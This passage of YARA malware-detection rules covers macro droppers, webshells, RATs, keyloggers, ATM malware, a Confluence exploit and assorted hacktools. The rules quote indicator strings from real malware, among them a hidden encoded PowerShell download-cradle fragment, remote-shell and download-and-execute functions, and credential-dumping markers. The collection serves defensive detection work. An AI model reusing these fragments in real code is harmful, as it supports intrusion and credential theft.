		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/cpaton/Scripting/blob/master/VBA/Base64.bas"
		date = "2019-06-21"
		score = 70
		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
		id = "99690116-fc89-53d7-8f29-575d75d53fc9"

	strings:
		$s1 = "B64_CHAR_DICT" ascii
		$s2 = "Base64Decode" ascii
		$s3 = "Base64Encode" ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 60KB and 2 of them
}

rule SUSP_VBA_FileSystem_Access
{
	meta:
		description = "Detects suspicious VBA that writes to disk and is activated on document open"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-06-21"
		score = 60
		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
		id = "91241b91-ca3f-5817-bf78-550fe015b467"

	strings:
		$s1 = "\\Common Files\\Microsoft Shared\\" wide
		$s2 = "Scripting.FileSystemObject" ascii
		$a1 = "Document_Open" ascii
		$a2 = "WScript.Shell" ascii
		$a3 = "AutoOpen" fullword ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 100KB and all of ( $s* ) and 1 of ( $a* )
}

rule SUSP_Excel_IQY_RemoteURI_Syntax
{
	meta:
		description = "Detects files with Excel IQY RemoteURI syntax"
		author = "Nick Carr"
		reference = "https://twitter.com/ItsReallyNick/status/1030330473954897920"
		date = "2018-08-17"
		modified = "2023-11-25"
		score = 55
		id = "ea3427da-9cce-5ad9-9c78-e3cee802ba80"

	strings:
		$URL = "http"
		$fp1 = "https://go.microsoft.com"

	condition:
		uint32( 0 ) == 0x0d424557 and uint32( 4 ) == 0x0a0d310a and filesize < 1MB and $URL and not 1 of ( $fp* )
}

rule SUSP_Macro_Sheet_Obfuscated_Char
{
	meta:
		description = "Finding hidden/very-hidden macros with many CHAR functions"
		author = "DissectMalware"
		date = "2020-04-07"
		score = 65
		hash1 = "0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b"
		reference = "https://twitter.com/DissectMalware/status/1247595433305800706"
		id = "791e9bba-3e4e-5efd-a800-a612c6f92cfb"

	strings:
		$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
		$s1 = "Excel" fullword ascii
		$macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
		$macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
		$char_func = {06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1E 3D  00 41 6F 00}

	condition:
		$ole_marker at 0 and 1 of ( $macro_sheet_h* ) and #char_func > 10 and $s1
}

rule WEBSHELL_ASPX_XslTransform_Aug21
{
	meta:
		author = "Max Altgelt"
		reference = "https://gist.github.com/JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6"
		date = "2020-02-23"
		description = "Detects an ASPX webshell utilizing XSL Transformations"
		id = "44254084-a717-59e6-a3ac-eca3c1c864a8"

	strings:
		$csharpshell = "Language=\"C#\"" nocase
		$x1 = "<root>1</root>"
		$x2 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("
		$s1 = "XsltSettings.TrustedXslt"
		$s2 = "Xml.XmlUrlResolver"
		$s3 = "FromBase64String(Request[\""

	condition:
		filesize < 500KB and $csharpshell and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule Quasar_RAT_Jan18_1
{
	meta:
		description = "Detects Quasar RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
		date = "2018-01-29"
		hash1 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
		hash2 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
		id = "52408897-bfec-5726-9d01-6ff982d50c28"

	strings:
		$a1 = "ping -n 20 localhost > nul" fullword wide
		$s2 = "HandleDownloadAndExecuteCommand" fullword ascii
		$s3 = "DownloadAndExecute" fullword ascii
		$s4 = "UploadAndExecute" fullword ascii
		$s5 = "ShellCommandResponse" fullword ascii
		$s6 = "Select * From Win32_ComputerSystem" fullword wide
		$s7 = "Process could not be started!" fullword wide
		$s8 = ".Core.RemoteShell" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and $a1 and 3 of them
}

rule Vermin_Keylogger_Jan18_1
{
	meta:
		description = "Detects Vermin Keylogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
		date = "2018-01-29"
		hash1 = "74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d"
		hash2 = "e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7"
		hash3 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
		hash4 = "4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da"
		hash5 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
		hash6 = "2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef"
		id = "52192ea1-bb3d-52da-ba18-0645262745e2"

	strings:
		$x1 = "_keyloggerTaskDescription" ascii
		$x2 = "_keyloggerTaskAuthor" ascii
		$x3 = "GetKeyloggerLogsResponse" fullword ascii
		$x4 = "GetKeyloggerLogs" fullword ascii
		$x5 = "ExecuteUninstallKeyLoggerTask" fullword ascii
		$x6 = "ExecuteInstallKeyLoggerTask" fullword ascii
		$x7 = ":\\Projects\\Vermin\\KeyboardHookLib\\" ascii
		$x8 = ":\\Projects\\Vermin\\CryptoLib\\" ascii
		$s1 = "<RunHidden>k__BackingField" fullword ascii
		$s2 = "set_SystemInfos" fullword ascii
		$s3 = "set_RunHidden" fullword ascii
		$s4 = "set_RemotePath" fullword ascii
		$s5 = "ExecuteShellCommandTask" fullword ascii
		$s6 = "Client.exe" fullword wide
		$s7 = "xClient.Core.ReverseProxy.Packets" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( 1 of ( $x* ) or 3 of them )
}

rule APT_MAL_HP_iLO_Firmware_Dec21_1
{
	meta:
		description = "Detects suspicios ELF files with sections as described in malicious iLO Board analysis by AmnPardaz in December 2021"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/"
		date = "2021-12-28"
		score = 80
		id = "7f5fa905-07a3-55da-b644-c5ab882b4a9d"

	strings:
		$s1 = ".newelf.elf.text" ascii
		$s2 = ".newelf.elf.libc.so.data" ascii
		$s3 = ".newelf.elf.Initial.stack" ascii
		$s4 = ".newelf.elf.libevlog.so.data" ascii

	condition:
		filesize < 5MB and 2 of them or all of them
}

rule WinPayloads_PowerShell
{
	meta:
		description = "Detects WinPayloads PowerShell Payload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nccgroup/Winpayloads"
		date = "2017-07-11"
		hash1 = "011eba8f18b66634f6eb47527b4ceddac2ae615d6861f89a35dbb9fc591cae8e"
		id = "8b6b8823-4656-5b0d-9a1e-84045287f5bf"

	strings:
		$x1 = "$Base64Cert = 'MIIJeQIBAzCCCT8GCSqGSIb3DQEHAaCCCTAEggksMIIJKDCCA98GCSqGSIb3DQEHBqCCA9AwggPMAgEAMIIDxQYJKoZIhvcNAQcBMBwGCiqGSIb3D" ascii
		$x2 = "powershell -w hidden -noni -enc SQBF" fullword ascii nocase
		$x3 = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwA" ascii
		$x4 = "powershell.exe -WindowStyle Hidden -enc JABjAGwAaQBlAG4AdAA" ascii

	condition:
		filesize < 10KB and 1 of them
}

rule WinPayloads_Payload
{
	meta:
		description = "Detects WinPayloads Payload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nccgroup/Winpayloads"
		date = "2017-07-11"
		super_rule = 1
		hash1 = "23a24f99c3c6c00cd4bf6cb968f813ba2ceadfa846c7f169f412bcbb71ba6573"
		hash2 = "35069905d9b7ba1fd57c8df03614f563504194e4684f47aafa08ebb8d9409d0b"
		hash3 = "a28d107f168d85c38fc76229b14561b472e60e60973eb10b6b554c1f57469322"
		hash4 = "ed93e28ca18f749a78678b1e8e8ac31f4c6c0bab2376d398b413dbdfd5af9c7f"
		hash5 = "26f5aee1ce65158e8375deb63c27edabfc9f5de3c1c88a4ce26a7e50b315b6d8"
		hash6 = "b25a515706085dbde0b98deaf647ef9a8700604652c60c6b706a2ff83fdcbf45"
		id = "44fae324-1fc8-5417-950a-8a3783b6d2ae"

	strings:
		$s1 = "bpayload.exe.manifest" fullword ascii
		$s2 = "spayload" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 10000KB and all of them )
}

rule EXPL_Exploit_TLB_Scripts
{
	meta:
		description = "Detects malicious TLB files which may be delivered via Visual Studio projects"
		author = "Rich Warren (slightly modified by Florian Roth)"
		reference = "https://github.com/outflanknl/Presentations/blob/master/Nullcon2020_COM-promise_-_Attacking_Windows_development_environments.pdf"
		date = "2021-01-26"
		id = "5151458e-4c30-50ff-a39e-e5b5b68b87aa"

	strings:
		$a = ".sct" ascii nocase
		$b = "script:" ascii nocase
		$c = "scriptlet:" ascii nocase
		$d = "soap:" ascii nocase
		$e = "winmgmts:" ascii nocase

	condition:
		uint32be( 0 ) == 0x4D534654 and filesize < 100KB and any of them
}

rule LOG_EXPL_Confluence_RCE_CVE_2021_26084_Sep21 : LOG
{
	meta:
		description = "Detects exploitation attempts against Confluence servers abusing a RCE reported as CVE-2021-26084"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md"
		date = "2021-09-01"
		score = 55
		id = "bbf98ce4-d32b-541a-b727-bc35c9aaef53"

	strings:
		$xr1 = /isSafeExpression Unsafe clause found in \['[^\n]{1,64}\\u0027/ ascii wide
		$xs1 = "[util.velocity.debug.DebugReferenceInsertionEventHandler] referenceInsert resolving reference [$!queryString]"
		$xs2 = "userName: anonymous | action: createpage-entervariables ognl.ExpressionSyntaxException: Malformed OGNL expression: '\\' [ognl.TokenMgrError: Lexical error at line 1"
		$sa1 = "GET /pages/doenterpagevariables.action"
		$sb1 = "%5c%75%30%30%32%37"
		$sb2 = "\\u0027"
		$sc1 = " ERROR "
		$sc2 = " | userName: anonymous | action: createpage-entervariables"
		$re1 = /\[confluence\.plugins\.synchrony\.SynchronyContextProvider\] getContextMap (\n )?-- url: \/pages\/createpage-entervariables\.action/

	condition:
		1 of ( $x* ) or ( $sa1 and 1 of ( $sb* ) ) or ( all of ( $sc* ) and $re1 )
}

rule Duqu1_5_modules
{
	meta:
		author = "Silas Cutler (havex@chronicle.security)"
		desc = "Detection for Duqu 1.5 modules"
		hash = "bb3961e2b473c22c3d5939adeb86819eb846ccd07f5736abb5e897918580aace"
		reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
		id = "7239f5e1-c08f-566c-8998-f7dacc2c4a29"

	strings:
		$c1 = "%s(%d)disk(%d)fdisk(%d)"
		$c2 = "\\Device\\Floppy%d" wide
		$c3 = "BrokenAudio" wide
		$m1 = { 81 3F E9 18 4B 7E}
		$m2 = { 81 BC 18 F8 04 00 00 B3 20 EA B4 }

	condition:
		all of them
}

import "pe"

rule ATM_Malware_DispenserXFS
{
	meta:
		description = "Detects ATM Malware DispenserXFS"
		author = "@Xylit0l @r3c0nst / Modified by Florian Roth"
		reference = "https://twitter.com/r3c0nst/status/1100775857306652673"
		date = "2019/02/27"
		modified = "2023-01-06"
		score = 80
		id = "7c06102c-93d3-52f4-8c25-430f6f7a601f"

	strings:
		$xc1 = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 }
		$s1 = "\\dispenserXFS.pdb" ascii
		$s3 = "C:\\xfsasdf.txt" fullword ascii
		$s4 = "Injected mxsfs killer into %d." fullword ascii
		$s5 = "Waiting for freeze msxfs processes..." fullword ascii

	condition:
		uint16( 0 ) == 0x5A4D and ( 1 of them or pe.imphash ( ) == "617e037ae26d1931818db0790fb44bfe" )
}

rule SUSP_BAT2EXE_BDargo_Converted_BAT
{
	meta:
		description = "Detects binaries created with BDARGO Advanced BAT to EXE converter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.majorgeeks.com/files/details/advanced_bat_to_exe_converter.html"
		date = "2018-07-28"
		modified = "2022-06-23"
		score = 45
		hash1 = "d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda"
		hash1 = "a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88"
		id = "c9da4184-1530-5525-bdba-2dcc8a221bb1"

	strings:
		$s1 = "Error #bdembed1 -- Quiting" fullword ascii
		$s2 = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
		$s3 = "\\a.txt" ascii
		$s4 = "command.com" fullword ascii
		$s6 = "DFDHERGDCV" fullword ascii
		$s7 = "DFDHERGGZV" fullword ascii
		$s8 = "%s%s%s%s%s%s%s%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 5 of them
}

rule SUSP_Hunt_EvtMuteHook_Memory
{
	meta:
		description = "Memory hunt for default wevtsv EtwEventCallback hook pattern to apply to eventlog svchost memory dump"
		reference = "https://blog.dylan.codes/pwning-windows-event-logging/"
		author = "SBousseaden"
		date = "2020-09-05"
		score = 70
		id = "5326581e-90d9-59b9-8dc5-74df97571600"

	strings:
		$a = {49 BB ?? ?? ?? ?? ?? ?? ?? ?? 41 FF E3 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
		$b = {48 83 EC 38 4C 8B 0D 65 CB 1A 00 48 8D 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}

	condition:
		$a and not $b
}

rule MAL_Passwordstate_Moserware_Backdoor_Apr21_1
{
	meta:
		description = "Detects backdoor used in Passwordstate incident"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://thehackernews.com/2021/04/passwordstate-password-manager-update.html"
		date = "2021-04-25"
		hash1 = "c2169ab4a39220d21709964d57e2eafe4b68c115061cbb64507cfbbddbe635c6"
		hash2 = "f23f9c2aaf94147b2c5d4b39b56514cd67102d3293bdef85101e2c05ee1c3bf9"
		id = "061de3ae-c404-5e4a-a16b-b3b208b1ae7f"

	strings:
		$x1 = "https://passwordstate-18ed2.kxcdn.com" wide
		$s1 = " ProxyUserName, ProxyPassword FROM [SystemSettings]" wide fullword
		$s2 = "PasswordstateService.Passwordstate.Crypto" wide
		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari" wide fullword
		$op1 = { 00 4c 00 4e 00 43 00 4c 00 49 00 31 00 31 00 3b 00 00 17 }
		$op2 = { 4c 00 49 00 31 00 31 00 3b 00 00 17 50 00 72 00 }
		$op3 = { 61 00 74 00 65 00 2d 00 31 00 38 00 65 00 64 00 32 00 2e 00 6b 00 78 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) or 3 of them
}

rule mswin_check_lm_group
{
	meta:
		description = "Chinese Hacktool Set - file mswin_check_lm_group.exe"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2021-03-15"
		hash = "115d87d7e7a3d08802a9e5fd6cd08e2ec633c367"
		id = "be17981a-7cbf-55ac-bc81-9330472fc814"

	strings:
		$s1 = "Valid_Global_Groups: checking group membership of '%s\\%s'." fullword ascii
		$s2 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
		$s3 = "-D    default user Domain" fullword ascii
		$fp1 = "Panda Security S.L." ascii wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 380KB and all of ( $s* ) and not 1 of ( $fp* )
}

rule WAF_Bypass
{
	meta:
		description = "Chinese Hacktool Set - file WAF-Bypass.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "860a9d7aac2ce3a40ac54a4a0bd442c6b945fa4e"
		id = "d9f40934-873b-5e73-9198-987966027edc"

	strings:
		$s1 = "Email: blacksplitn@gmail.com" fullword wide
		$s2 = "User-Agent:" fullword wide
		$s3 = "Send Failed.in RemoteThread" fullword ascii
		$s4 = "www.example.com" fullword wide
		$s5 = "Get Domain:%s IP Failed." fullword ascii
		$s6 = "Connect To Server Failed." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 7992KB and 5 of them
}

rule Guilin_veterans_cookie_spoofing_tool
{
	meta:
		description = "Chinese Hacktool Set - file Guilin veterans cookie spoofing tool.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2023-01-27"
		hash = "06b1969bc35b2ee8d66f7ce8a2120d3016a00bb1"
		id = "13f78e0b-c975-5879-9af1-8c619d6c94a9"

	strings:
		$s0 = "kernel32.dll^G" fullword ascii
		$s1 = "\\.Sus\"B" ascii
		$s4 = "u56Load3" fullword ascii
		$s11 = "O MYTMP(iM) VALUES (" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1387KB and all of them
}

rule MarathonTool
{
	meta:
		description = "Chinese Hacktool Set - file MarathonTool.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "084a27cd3404554cc799d0e689f65880e10b59e3"
		id = "23513361-ecac-5ddb-92b9-4dd8da12e8db"

	strings:
		$s0 = "MarathonTool" ascii
		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
		$s18 = "SELECT UNICODE(SUBSTRING((system_user),{0},1))" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1040KB and all of them
}

rule PLUGIN_TracKid
{
	meta:
		description = "Chinese Hacktool Set - file TracKid.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a114181b334e850d4b33e9be2794f5bb0eb59a09"
		id = "8dd77df1-748e-5778-be40-38b794c74b97"

	strings:
		$s0 = "E-mail: cracker_prince@163.com" fullword ascii
		$s1 = ".\\TracKid Log\\%s.txt" fullword ascii
		$s2 = "Coded by prince" fullword ascii
		$s3 = "TracKid.dll" fullword ascii
		$s4 = ".\\TracKid Log" fullword ascii
		$s5 = "%08x -- %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them
}

rule Pc_pc2015
{
	meta:
		description = "Chinese Hacktool Set - file pc2015.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "de4f098611ac9eece91b079050b2d0b23afe0bcb"
		id = "aa7c0b5e-91c3-52cc-9e06-b4648d0b8825"

	strings:
		$s0 = "\\svchost.exe" ascii
		$s1 = "LON\\OD\\O-\\O)\\O%\\O!\\O=\\O9\\O5\\O1\\O" fullword ascii
		$s8 = "%s%08x.001" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 309KB and all of them
}

rule sekurlsa
{
	meta:
		description = "Chinese Hacktool Set - file sekurlsa.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
		id = "b65dc578-e5a1-57e6-bd98-2c45cd07e857"

	strings:
		$s1 = "Bienvenue dans un processus distant" fullword wide
		$s2 = "Format d'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur" wide
		$s3 = "SECURITY\\Policy\\Secrets" fullword wide
		$s4 = "Injection de donn" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1150KB and all of them
}

rule mysqlfast
{
	meta:
		description = "Chinese Hacktool Set - file mysqlfast.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "32b60350390fe7024af7b4b8fbf50f13306c546f"
		id = "93ee91cd-a6b8-5ed9-b750-779f88032be6"

	strings:
		$s2 = "Invalid password hash: %s" fullword ascii
		$s3 = "-= MySql Hash Cracker =- " fullword ascii
		$s4 = "Usage: %s hash" fullword ascii
		$s5 = "Hash: %08lx%08lx" fullword ascii
		$s6 = "Found pass: " fullword ascii
		$s7 = "Pass not found" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 4 of them
}

rule DTools2_02_DTools
{
	meta:
		description = "Chinese Hacktool Set - file DTools.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "9f99771427120d09ec7afa3b21a1cb9ed720af12"
		id = "fc812797-12d8-596a-8ebe-dd8b0d7a4b7e"

	strings:
		$s0 = "kernel32.dll" ascii
		$s1 = "TSETPASSWORDFORM" fullword wide
		$s2 = "TGETNTUSERNAMEFORM" fullword wide
		$s3 = "TPORTFORM" fullword wide
		$s4 = "ShellFold" fullword ascii
		$s5 = "DefaultPHotLigh" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule dll_PacketX
{
	meta:
		description = "Chinese Hacktool Set - file PacketX.dll - ActiveX wrapper for WinPcap packet capture library"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		score = 50
		hash = "3f0908e0a38512d2a4fb05a824aa0f6cf3ba3b71"
		id = "19ab5977-934d-5e3f-8bba-925bb57bf486"

	strings:
		$s9 = "[Failed to load winpcap packet.dll." wide
		$s10 = "PacketX Version" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1920KB and all of them
}

rule SqlDbx_zhs
{
	meta:
		description = "Chinese Hacktool Set - file SqlDbx_zhs.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "e34228345498a48d7f529dbdffcd919da2dea414"
		id = "31c49755-f1bd-5ecb-91ff-1040e40983ab"

	strings:
		$s0 = "S.failed_logins \"Failed Login Attempts\", " fullword ascii
		$s7 = "SELECT ROLE, PASSWORD_REQUIRED FROM SYS.DBA_ROLES ORDER BY ROLE" fullword ascii
		$s8 = "SELECT spid 'SPID', status 'Status', db_name (dbid) 'Database', loginame 'Login'" ascii
		$s9 = "bcp.exe <:schema:>.<:table:> out \"<:file:>\" -n -S <:server:> -U <:user:> -P <:" ascii
		$s11 = "L.login_policy_name AS \"Login Policy\", " fullword ascii
		$s12 = "mailto:support@sqldbx.com" fullword ascii
		$s15 = "S.last_login_time \"Last Login\", " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule ms10048_x86
{
	meta:
		description = "Chinese Hacktool Set - file ms10048-x86.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
		id = "373f0419-5a7d-5f01-968c-5d3e7b1c0670"

	strings:
		$s1 = "[ ] Resolving PsLookupProcessByProcessId" fullword ascii
		$s2 = "The target is most likely patched." fullword ascii
		$s3 = "Dojibiron by Ronald Huizer, (c) master@h4cker.us ." fullword ascii
		$s4 = "[ ] Creating evil window" fullword ascii
		$s5 = "%sHANDLEF_INDESTROY" fullword ascii
		$s6 = "[+] Set to %d exploit half succeeded" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 4 of them
}

rule Dos_ch
{
	meta:
		description = "Chinese Hacktool Set - file ch.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "60bbb87b08af840f21536b313a76646e7c1f0ea7"
		id = "2e8319de-fe54-5083-968c-4707d127f072"

	strings:
		$s0 = "/Churraskito/-->Usage: Churraskito.exe \"command\" " fullword ascii
		$s4 = "fuck,can't find WMI process PID." fullword ascii
		$s5 = "/Churraskito/-->Found token %s " fullword ascii
		$s8 = "wmiprvse.exe" fullword ascii
		$s10 = "SELECT * FROM IIsWebInfo" fullword ascii
		$s17 = "WinSta0\\Default" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 260KB and 3 of them
}

rule DUBrute_DUBrute
{
	meta:
		description = "Chinese Hacktool Set - file DUBrute.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "8aaae91791bf782c92b97c6e1b0f78fb2a9f3e65"
		id = "10aa2017-d563-5953-8672-dbc13ff6b3cf"

	strings:
		$s1 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
		$s2 = "IP - 0; Login - 0; Password - 0; Combination - 0" fullword ascii
		$s3 = "Create %d IP@Loginl;Password" fullword ascii
		$s4 = "UBrute.com" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1020KB and all of them
}

rule CookieTools
{
	meta:
		description = "Chinese Hacktool Set - file CookieTools.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b6a3727fe3d214f4fb03aa43fb2bc6fadc42c8be"
		id = "893884e5-6f4c-5f67-9382-8bf1ee45a257"

	strings:
		$s0 = "http://210.73.64.88/doorway/cgi-bin/getclientip.asp?IP=" fullword ascii
		$s2 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
		$s3 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
		$s8 = "OnGetPasswordP" fullword ascii
		$s12 = "http://www.chinesehack.org/" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 4 of them
}

rule update_PcInit
{
	meta:
		description = "Chinese Hacktool Set - file PcInit.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a6facc4453f8cd81b8c18b3b3004fa4d8e2f5344"
		id = "71c34049-97a2-5611-a081-21a85f8631d9"

	strings:
		$s1 = "\\svchost.exe" ascii
		$s2 = "%s%08x.001" fullword ascii
		$s3 = "Global\\ps%08x" fullword ascii
		$s4 = "drivers\\" ascii
		$s5 = "StrStrA" fullword ascii
		$s6 = "StrToIntA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them
}

rule dat_NaslLib
{
	meta:
		description = "Chinese Hacktool Set - file NaslLib.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "fb0d4263118faaeed2d68e12fab24c59953e862d"
		id = "d5ce72a4-c2b0-50b2-85bb-acf0bfd354e0"

	strings:
		$s1 = "nessus_get_socket_from_connection: fd <%d> is closed" fullword ascii
		$s2 = "[*] \"%s\" completed, %d/%d/%d/%d:%d:%d - %d/%d/%d/%d:%d:%d" fullword ascii
		$s3 = "A FsSniffer backdoor seems to be running on this port%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1360KB and all of them
}

rule Dos_1
{
	meta:
		description = "Chinese Hacktool Set - file 1.exe"
